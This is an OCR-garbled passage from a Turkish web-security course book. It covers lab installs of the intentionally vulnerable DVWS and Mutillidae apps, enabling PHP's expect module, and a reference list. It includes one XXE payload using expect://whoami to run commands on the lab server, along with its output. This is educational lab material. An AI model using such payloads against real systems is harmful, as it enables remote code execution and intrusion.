https://sourceforge.net/projects/xampp/filess XAMPP%20Windows/5.5.38/xamp
p-win32-5.5.38-3-VC11-installer.exe/download

d) Windows 10 VM’e DVWS Web API Indirilir

- DVWS indirilir.

https://www.includekarabuk.com/kitaplik/indirmeDeposu/dvws.zip

- DVWS web sunucu kok dizinine yerlestirilir.

C:\xampp\htdocs\dvws\

e) Windows 10 VM’de DVWS Web API Kurulumu Yapilir
Web Tarayici:
http://localhost/dvws/about/instructions.php
Tiklanacak Buton: [Reset Database]

f) Tim bu asamalarin ardindan kurulumlar tamamlanacaktir ve dvws web api’ye erisim
saglanabilecektir.

http://localhost/dvws/index.php
Not:
DVWS Web API arayiiziinde Command Injection sayfasinda dvws kurulumu

sadece windows’da ise c¢alisabilen radio button'un calisir  oldugu
gozlemlenebilecektir. Ayn1 ders sayfasinda linux radio button’larin ¢aligmasi i¢in
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dvws’nin linux igletim sisteminde kurulmus olmas1 gerekmektedir.

7.7  Mutillidae Web API’yi Linux’a (Ubuntu 18.04 LTS Dagitimina) Kurma

Bu baslik altinda bir linux sisteme kasith agikliklara sahip Mutillidae web api kurulum
adimlar1 gosterilecektir.

Kullanilan Materyaller

- Oracle VirtualBox Il Sanallastirma Yazilimi

- Ubuntu 18.04 LTS Desktop Linux ISO // Linux Isletim Sistemi

- Apache, MySQL, PHP // Web Sunucu Yazilimlari
- Mutillidae v2.10.8 Il Zafiyetli Web API

a) Oracle VirtualBox Kurma

- Bilgisayarimizda yiikli ve kullanmakta oldugunuz linux veya windows isletim
sistemine “Oracle VirtualBox™ yazilimi kurulur.

https://www.virtualbox.org/wiki/Downloads

b) Oracle VirtualBox’da VM Olusturma

- Oracle VirtualBox’da bir sanal makine olusturulur.

“Ubuntu 18.04 LTS desktop iso” imaji cd olarak sanal makineye takilarak
kurulur.

https://releases.ubuntu.com/16.04/
¢) Ubuntu 18.04 LTS VM’e Apache Kurulumu
> sudo su
> apt-get update
> apt-get install apache?2
> a2enmod rewrite
> service apache2 restart

> nano /etc/apache2/apache2.conf

Acilan dosyada
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<Directory /var/www>
</ Directory>
blogundaki AllowOverride None direktifi AllowOverride All yapilir.
> service apache2 restart
d) Ubuntu 18.04 LTS VM’e PHP Kurulum

> sudo su
> apt-get update
> apt-get install php libapache2-mod-php

e) Ubuntu 18.04 LTS VM’e MySQL Kurulumu

> sudo su

> apt-get update

> apt-get install mysql-server php-mysqgl
> service apache?2 restart

> mysql -u root

mysql> use mysql;

mysql> UPDATE user SET authentication_string=PASSWORD('mutillidae")
WHERE user="root’,

mysqgl> UPDATE user SET plugin="mysql_native_password' WHERE user="root’;

mysql> flush privileges;

mysql> exit;

f) Ubuntu 18.04 LTS VM’de Mutillidae Web API’nin Bazi Fonksiyonlarinin Caligmasi
I¢in Gerekli Kiitiiphaneleri Yiikleme

/I PHP XML Kiitiiphanesini Yiikleme

> sudo su
> apt-get update
> apt-get install php7.2-xml //7.2. xml ytikliiyoruz, ¢iinkii yiiklenen
// php 7.2 siirimiinde. bkz. php --
version

// PHP Curl Kiitiiphanesini Yiikleme
>sudo su
> apt-get update
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> apt-get install php7.2-curl // 7.2. xml yiiklityoruz, ¢iinkii yiiklenen
// php 7.2 stirimiinde. bkz. php —

version

// PHP Mbstring Kiitliphanesini Yiikleme

>sudo su

> apt-get update

> apt-get install php7.2-mbstring
g) Ubuntu 18.04 LTS VM’de mutillidae web api’yi indirmek i¢in git kurulur.

> sudo su
> apt-get install git

h) Ubuntu 18.04 LTS VM’de mutillidae web api indirilir.
> sudo su
> cd /var/www/html
> git clone https://github.com/webpwnized/mutillidae.git mutillidae

http://localhost/mutilliade/

1) Ubuntu 18.04 LTS VM’de Web Tarayict Ekranina Yansiyan Apache & PHP Hatalarim
Kapama Ayari

> sudo su
> gedit /etc/php/7.2/apache2/php.ini &

dosyasinda error_reporting
error_reporting = E_ALL
satiri
error_reporting=E_ALL & ~E_DEPRECATED & ~E_STRICT
seklinde ayarlanir. display_errors
display_errors = On
satiri

display_errors = Off
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seklinde ayarlanur.

> service apache2 restart

1) Ubuntu 18.04 LTS VM’de Apache Sunucuyu HTTPS Yapma

> sudo su

> openssl req -x509 -nodes -days 365 -newkey rsa:4096 -keyout
letc/ssl/private/mutillidae.key -out /etc/ssl/certs/mutillidae.crt

> gedit /etc/apache2/sites-available/default-ssl.conf &

Agilan dosyada
<VirtualHost _default_:443>
</VirtualHost>

blogundaki SSLCertificateFile ve SSLCertificateKeyFile satirlari agagidaki gibi
yapilir.

SSLENgine On
SSL CertificateFile /etc/ssl/certs/mutillidae.crt
SSL CertificateKeyFile /etc/ssl/private/mutillidae.key

> chown www-data:www-data /etc/ssl/certs/mutillidae.crt

> chown www-data:www-data /etc/ssl/private/mutillidae.key
> a2enmod ssl

> a2enmod headers

> a2ensite default-ssl

> service apache?2 restart

(Bu Ayar Istege Baglidir)

/I VirtualHost Ayarlama

> sudo su

> cd /etc/apache2/

> gedit sites-available/000-default.conf &

Agilan dosyada dosya igerigi tamamen silinir ve sdyle yapilir:
<VirtualHost 127.0.0.1:80>

ServerName mutillidae.local
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ServerAlias mutillidae
DocumentRoot /var/www/html/mutillidae

ErrorLog ${APACHE_LOG_DIR}/mutillidae-error.log
CustomLog ${APACHE_LOG_DIR}mutillidae-access.log combined

</VirtualHost>

<VirtualHost 127.0.0.1:443>

DocumentRoot /var/www/html/mutillidae

ServerAlias mutillidae

ServerName mutillidae.local

ErrorLog ${APACHE_LOG_DIR}/mutillidae-error.log
CustomLog ${APACHE_LOG_DIR}mutillidae-access.log combined
SSLEnNgine On

SSLOptions +StrictRequire

SSL CertificateFile /etc/ssl/certs/mutillidae.crt

SSL CertificateKeyFile /etc/ssl/private/mutillidae.key
SSLProtocol TLSv1

</VirtualHost>
> service apache2 restart
> gedit /etc/hosts

Agilan dosyada su satirlar en basa eklenir:

127.0.0.1 mutillidae
127.0.0.1 mutillidae.local

Boylece;
http://localhost/mutillidae/
adresi yerine

http://localhost ile, http://mutillidae ile veya http://mutillidae.local ile dogrudan
siteye erisim saglanabilecektir.

j) Ubuntu 18.04 LTS VM’de Mutillidae Web API Konfigurasyonu
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http://localhost/
http://localhost/
http://mutillidae/
http://mutillidae.local/

Ubuntu 18.04 LTS VM’de http://localhost'a gidilir ve database-offline.php seklinde
gelen sayfada

setup / reset the DB
linkine tiklanir.
k) Sonug
Boylece konfigurasyon ve kurulum tamamlanir.

http://localhost

7.8 Mutillidae Web API’yi Linux’a (Ubuntu 14.04 LTS Dagitimina) Kurma
Bu baglik altinda eski bir linux sisteme kasithi agikliklara sahip DVWS web api kurulum
adimlar gosterilecektir.

[!] Uyart:

Mutilillidae’nin esas linux kurulumu Ubuntu 18.04 LTS linux sisteme olan
kurulumdur. Dersler o kurulumla gelen mutillidae iizerinden takip edilmelidir.
Ubuntu 14.04 LTS eski linux sistem kurulumunun ayriyeten olusturulmasinin
nedeni zafiyetli Muttillidae web api’sinde XXE ataklarinda uygulanabilen RCE’yi
(Remote Code Execution’1) gozlemleyebilmek icindir. XXE ataklarinda RCE
yapabilmek PHP’nin expect modiiliinii gerektirmekte. PHP Expect modiilii ise bu
eski stirtim linux isletim sisteminde kurulup aktif hale getirilebilmekte. Bu nedenle
sirf XXE ataginda RCE sonucunu deneyimlemek i¢in mutillidae Ubuntu 14.04 LTS
isletim sistemi lizerine de ilaveten kurulmustur. Bu kurulumda mutillidae XXE
sayfasinda RCE denendiginde basarili olundugu ve uzak sistemde komut
calistirilabildigi gozlemlenecektir. Mutillidae dersleri esas kurulum olan son siiriim
mutillidae’nin yiiklii oldugu Ubuntu 18.04 LTS linux isletim sisteminden takip

edilmelidir.

Kullanilan Materyaller

- Oracle VirtualBox I/ Sanallastirma Yazilimi

- Ubuntu 14.04 LTS Desktop Linux 1SO // Linux Isletim Sistemi

- Apache, MySQL, PHP // Web Sunucu Yazilimlari
- Mutillidae v2.7.10 Il Zafiyetli Web API

- libexpect-php5 Deb Paketi // PHP Expect Modiili
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a) Oracle VirtualBox Kurma

- Bilgisayarinizda yiiklii ve kullanmakta oldugunuz linux veya windows igletim
sistemine “Oracle VirtualBox” yazilimi kurulur.

https://www.virtualbox.org/wiki/Downloads

b) Oracle VirtualBox’da VM Olusturma

- Oracle VirtualBox’da bir sanal makine olusturulur.

“Ubuntu 14.04 LTS Desktop Linux ISO” imaji cd olarak sanal makineye
takilarak kurulur.

https://releases.ubuntu.com/14.04/

¢) Ubuntu 14.04 LTS VM’de Apache + PHP + Mysql Kurulumu

> sudo apt-get update

/I MYSQL parola mutillidae yapilmalidir.

> sudo apt-get -y install apache2 mysql-server php5-mysgl php5 libapache2-mod-
php5 php5-mcrypt

> a2enmod rewrite

> service apache2 restart

> nano /etc/apache2/apache2.conf

<Directory /variwww>

</Directory>

blogundaki AllowOverride None direktifi AllowOverride All yapilir.

> service apache2 restart

¢) Ubuntu 14.04 LTS VM’de PHP Expect Modiilii Yiiklenir ve Enable Edilir

- Php expect modiilii deb paketi indirilir.

https://www.ubuntuupdates.org/package/core/trusty/universe/base/libexpect-
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php5

> cd Downloads/

- Php expect modiilii deb paketi yiiklenir.
> sudo su
> apt-get install php-pear
> pear install PEAR
> sudo apt-get install -y php5-dev
> mkdir /etc/php5/conf.d/
> dpkg -i libexpect-php5_0.3.1-1build3_amd64.deb
> cp /etc/php5/conf.d/expect.ini ../apache2/conf.d/
> service apache?2 restart
d) Ubuntu 14.04 LTS VM’de mutillidae web api indirilir.
https://github.com/webpwnized/mutillidae/archive/refs/tags/v2.7.10.zip

e) Ubuntu 14.04 LTS VM’de mutillidae web api web sunucu kok dizinine yerlestirilir.

- Mutillidae v2.7.10.zip’i zipten ¢ikar.

- Ivarlwww/html dizinine koy.

f) Ubuntu 14.04 LTS VM’de Mutillidae Web API Konfigurasyonu

Ubuntu 14.04 LTS VM’de http://localhost'a gidilir ve database-offline.php seklinde
gelen sayfada

setup / reset the DB
linkine tiklanir.
g) Sonug
Boylece konfigurasyon ve kurulum tamamlanir.

http://localhost
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Not:

7.9

XXE saldirilarinda RCE yalnizca web sunucudaki php’de expect wrapper’1 enable
iken yapilabiliyor. Bu nedenle expect modiilii aktif edilmis mutillidae bu web
sunucuda test amaclhi mutillidae’nin XXE zafiyetli sayfasmma gidilip RCE
denendiginde

OWASP 2017 -> A1l Injection (Other) -> Xml External Entity Injection -> XML
Validator

Payload:

<?xml version="1.0" encoding="1S0O-8859-1"?> <IDOCTYPE foo [<!IELEMENT
foo ANY> <IENTITY xxe SYSTEM ‘“expect://whoami" >]> <creds>
<user>&xxe;</user> </creds>

Ciktr:

www-data

basarili olundugu goriilecektir. Expect wrapper ‘1 olmayan php web sunucularda bu
saldir1 basarisiz olacaktir.

Mutillidae Web API’yi Windows’a (Windows 10 Home Premium Siiriimiine)

Kurma

Bu baslik altinda bir windows sisteme kasith agikliklara sahip DVWS web api kurulum
adimlar1 gosterilecektir.

[!] Uyart:

Mutilillidae’nin esas kurulumu Mutillidae - Ubuntu 18.04 LTS VM’dedir. Bu
Mutillidae - Windows 10 VM’in  ayriyetten olusturulmasinin  nedeni
mutillidae’nin baz1 saldirt ~ sayfalarinda windows tarafli payload’larin sonuglarini
gozlemleyebilmek adimadir. Bu VM surf  bu  tip durumlarda kullanilmaktadir.
Mutillidae dersleri i¢in esas olan Mutillidae - Ubuntu 18.04 LTS kurulumu
kullanilmalidar.

Kullanilan Materyaller

- Oracle VirtualBox // Sanallagtirma Yazilimi
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- Windows 10 Home Premium // Windows Isletim Sistemi
- Xampp v7.2.34-2 // Web Sunucu Yazilimlari
- Mutillidae v2.10.8 Il Zafiyetli Web API

a) Windows VM’e XAMPP kurulur.
Apache, Mysqgl, PHP, PhpMyAdmin kurulur.
https://www.apachefriends.org/tr/download.html
b) XAMPP dashboard’dan
MySQL -> Config -> my.ini
dosyasina gidilir ve
# password = your_password
satir1 Oniindeki diyez kaldirilarak
password = mutillidae
yapilir.
¢) XAMPP dashboard’dan
Apache -> Config -> php.ini
dosyasina gidilir ve
display_errors=On
satiri
display_errors=Off
yapilir.
d) Mutillidae klasorii c:\xampp\htdocs\ dizinine mutillidae klasor ismiyle yerlestirilir.

e) XAMPP dashboard’dan apache ve mysql servisleri START yapilir.
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Giivenlik duvari izinleri i¢in “Erisimlere izin Ver” denir.
f) Mutillidae web uygulamasina web tarayicidan erisilir:
http://127.0.0.1/mutillidae/
g) Gelen database-offline.php seklindeki sayfaya
setup / reset the DB.
denilir.
h) Boylece mutillidae erisimi agilir ve kullanilabilir.
http://127.0.0.1/mutillidae/
Not:

Mutillidae’ye erisim localhost yerine 127.0.0.1 seklinde gerceklesmekte.

7.10 DVWS SQL.i Acikhkh Rest API U¢ Noktasindaki Hatanin (Bug’in) Giderilmesi

Bu baglik DVWS web servisini belirttigim custom linkten indirmeyip resmi github
hesabindan indirenler i¢indir. Eger DVWS’yi resmi github sayfasindan indirdiyseniz son
stirimiinii indirmissiniz demektir. Bu siirimde DVWS web servisinin sgl enjeksiyonu
aciklig1 var olan rest api endpoint’inde (u¢ noktasinda) “No database selected” uyarisi
alimmaktadir. Bunun nedeni kaynak kodda kullanilan sql  fonksiyonunun

uyumsuzlugundandir.
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Bu hatay1 (bug’1) diizeltmek i¢in C:\xampp\htdocs\dvws-master\vulnerabilities\sgli\api.php

dosyasina gidilmelidir ve dosyada su iki adim uygulanmalidir:

- 13ncii  satirdaki mysqli_connect(....)’deki i harfi kaldirilmahdir ve
mysql _connect(...) seklinde birakilmalidir.

- l4nci satirdaki mysql _query(...) cift slash (/) ile yorum yapilmalidir ve 15nci
satir bastaki ¢ift slash (//) kaldirilarak yorum olmaktan ¢ikarilmalidir.
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File Machine View Input Devices Help
|Q{ C:\xampp\htdocs\dvws-masterwvulnerabilities\sqli\api php| Notepad-+ [ - X
Dosya Duzenle Ara  Goranum Kodlama Diler Ayarar Araclar Makrolar Cahstr Eklentiler Pencereler 7 v X

EHEeRGE imbioe|nw|l ax|BE
Bindexphp £ | apiphn B

I—Ie ~
He<zprp

ST EERRa® BED BB

oWk

// get the HITP method, path and body of the request
_SERVER[" HOD' ] ;

i 7 Srequest = explode('/', trim(§_SERVER['PAT.

8 Sinput = json decode(file get contents(':

Smethod =

TS

1,0 /')

t'), true);

// connect to the mysql database
f/ if wou use the lamp, vou musSt enter a password mysgl Qer
- i leii blank dus o 5 i d stacks having blank passwords, you should change your p

is') i

//mysql_gquery ($link, "SET NAMES 'ut
5

| $link — mysqgl connect (' 1o

mysgl set charset(’'ut

8):

// retrieve the table and key from the path
Stable = array shift($request);
Skey = array shift(Srequest);

// escape the columns and values from the input cbject

(SRR
[T

@

// sgli vulnerability
// create SQL based on HTTP method
[Flswiteh (Smethod) {

id=" .§key. ""; break;

=5key"; break;

§set”; break;

4
c

< >

PHP Hypertext Preprocessor file length: 1391 lines: 63 Ln:60 Col:2 Pos:1.587 Unix (LF) UTF-8 NS

® 5 2@ € - = Amma) 200

13.11.2022

o | B 8] @ 3 Right ctrl

( Nihai Hal Boyle Olmalidir )

Bu adimlar neticesinde dosya kaydedildiginde sql sorgular diizgiin sekilde calisacaktir ve
yanit hatasiz alinabilecektir.

fes/sali/api phpjusers/3 H<e o0 »0@Q

{“flrst_name”:*Hack", last_name""Me"}

Q

BAEgMeseNION

8 KAYNAKCA
e https://codebeautify.org/xmltojson
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https://codebeautify.org/xmltojson

https://www.m5bilisim.com/webokulu/etiketler/ozellik-form-enctype.php
https://yazilimcorbasi.blogspot.com/2015/11/http-post-ve-multipartform-data.html

https://stackoverflow.com/questions/38017123/is-form-enctype-application-json-
available

https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form#attr-enctype
https://github.com/sqlmapproject/sqlmap/issues/4069

https://www.liquidmatrix.org/blog/sql-injection-using-sqlmap-multipartform-data-
encoding/

https://developer.mozilla.org/en-
US/docs/Web/HTTP/Basics_of HTTP/MIME_types/Common_types

https://portswigger.net/support/using-burp-to-test-a-rest-api
https://onlineasciitools.com/convert-ascii-to-decimal
https://www.w3schools.in/restful-web-services/types-of-web-services/
https://www.guru99.com/wsdl-web-services-description-language.html
https://nileshsapariya.blogspot.com/2017/05/auditing-soap-web-services-with.html

https://www.netspi.com/blog/technical/web-application-penetration-
testing/hacking-web-services-with-burp/

https://www.smeegesec.com/2013/04/wsdl-wizard-burp-suite-plugin-for.htmi

https://www.smeegesec.com/2012/10/automating-web-services-
communication.html

http://www.learnwebservices.com/
https://www.netsparker.com/support/scanning-restful-api-web-service/
http://rest.testsparker.com/docs/#api-GettingStarted-1
https://en.wikipedia.org/wiki/Web_Services_Description_Language
https://www.w3schools.com/xml/xml_wsdl.asp

Attacking Damn Vulnerable Web Services.pdf
https://www.youtube.com/watch?v=txGa3kGWI00&ab_channel=JosephMcCray
https://stackoverflow.com/questions/6830581/rest-web-service-wsdl
https://www.soapui.org/docs/soap-and-wsdl/working-with-wsdls/
https://www.soapui.org/learn/api/soap-vs-rest-api/
https://www.soapui.org/resources/infographic/api-testing/soap-vs-rest-infographic/

https://www.soapui.org/resources/tutorials/soap-sample-project/
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https://www.soapui.org/resources/tutorials/rest-sample-project/

https://staticl.smartbear.co/smartbear/media/ebooks/rest-
101.pdf?_ga=2.53437674.312001454.1627211528-143179448.1627211528

https://www.tutorialspoint.com/webservices/what_are_web_services.htm
https://www.tutorialspoint.com/webservices/web_services_architecture.htm
https://www.tutorialspoint.com/webservices/web_services_examples.htm
https://glenmazza.net/blog/entry/soap-calls-over-wireshark
https://cheatsheetseries.owasp.org/cheatsheets/REST_Security Cheat_Sheet.html
https://www.javatpoint.com/web-services-tutorial
https://www.javatpoint.com/soap-web-services
https://www.javatpoint.com/restful-web-services-swagger-documentation
https://www.javatpoint.com/restful-web-services-what-is-web-services
https://en.wikipedia.org/wiki/Web_service
https://www.easytechjunkie.com/what-is-web-syndication.htm
https://en.wikipedia.org/wiki/Web_syndication
https://www.yld.io/blog/alternatives-to-http/

https://www.halvorsen.blog/documents/programming/csharp/resources/Database%
20Communication%20using%20Web%?20Services.pdf

https://www.dummies.com/programming/web-services/how-to-return-web-service-
data-from-a-database/

https://portswigger.net/support/using-burp-to-test-a-rest-api
https://www.netsparker.com/support/url-rewrite-rules-netsparker/

https://www.netsparker.com/whitepaper-automating-configuration-url-rewrite-
rules-netsparker-web-application-security-scanners/

https://www.javatpoint.com/soapui-security-test
https://www.javatpoint.com/soapui-web-services-vs-web-api
https://blog.hubspot.com/website/web-services-vs-api

http://www.differencebetween.net/technology/internet/difference-between-api-and-
web-service/

https://www.redhat.com/en/topics/api/what-is-a-rest-api
https://rapidapi.com/blog/api-vs-web-service/

https://rapidapi.com/blog/types-of-apis/
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https://gist.github.com/elico/2c61167f56213476dcbh538398019¢c387

https://www.youtube.com/playlist?list=PLZOToVAK85MgxEyrjINe-
LwDMhxJIKzmm

https://github.com/webpwnized/mutillidae/releases/tag/v2.7.10

https://www.digitalocean.com/community/tutorials/how-to-install-lamp-on-ubuntu-
14-04-quickstart

https://serverfault.com/questions/455388/how-to-install-php-xml-and-php-
mbstring-on-php-5-4-9-4

https://stackoverflow.com/questions/40415325/install-php5-dev-ubuntu-16-04
https://www.ubuntuupdates.org/package/core/trusty/universe/base/libexpect-php5

https://learning.postman.com/docs/getting-started/installation-and-
updates/#installing-postman-on-linux

https://crashtest-security.com/enumeration-cyber-security/

https://www.eccouncil.org/cybersecurity-exchange/ethical-hacking/enumeration-
ethical-hacking/

https://www.youtube.com/watch?v=DFj3MBIU_f0
https://www.exploit-db.com/ghdb/395
https://en.wikipedia.org/wiki/Billion_laughs_attack
https://cwe.mitre.org/data/definitions/651.html
https://capec.mitre.org/data/definitions/95.html

https://github.com/snoopysecurity/dvws/blob/master/vulnerabilities/hiddendir/secre
tsolutions.txt

https://www.binarytides.com/burp-suite-tip-repeat-request-loop/
https://www.linkedin.com/pulse/xml-bombs-billion-laughs-attack-vinay-singh
https://en.wikipedia.org/wiki/Billion_laughs_attack
https://www.youtube.com/watch?v=31GYk2lc3BM

https://learn.microsoft.com/en-us/archive/msdn-magazine/2009/november/xml-
denial-of-service-attacks-and-defenses

https://www.youtube.com/watch?v=WQUiub2hc0c
https://portswigger.net/kb/issues/00400700_xml-entity-expansion
http://projects.webappsec.org/w/page/13247002/XML%20Entity%20Expansion

https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/xml-external-
entity-injection/

https://vk9-sec.com/xml-external-entity-xxe-injection/

https://www.invicti.com/learn/xml-external-entity-xxe/
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https://portswigger.net/kb/issues/00100400_xml-external-entity-injection

https://cheatsheetseries.owasp.org/cheatsheets/ XML _External _Entity Prevention_
Cheat_Sheet.html

http://www.includekarabuk.com/kitaplik/indirmeDeposu/dersNotlari/4.Sinif/\WWeb_
Servisleri_XML_Cikardigim_Ders_Notlarim.pdf

https://www.w3schools.com/xml/xml_dtd_entities.asp
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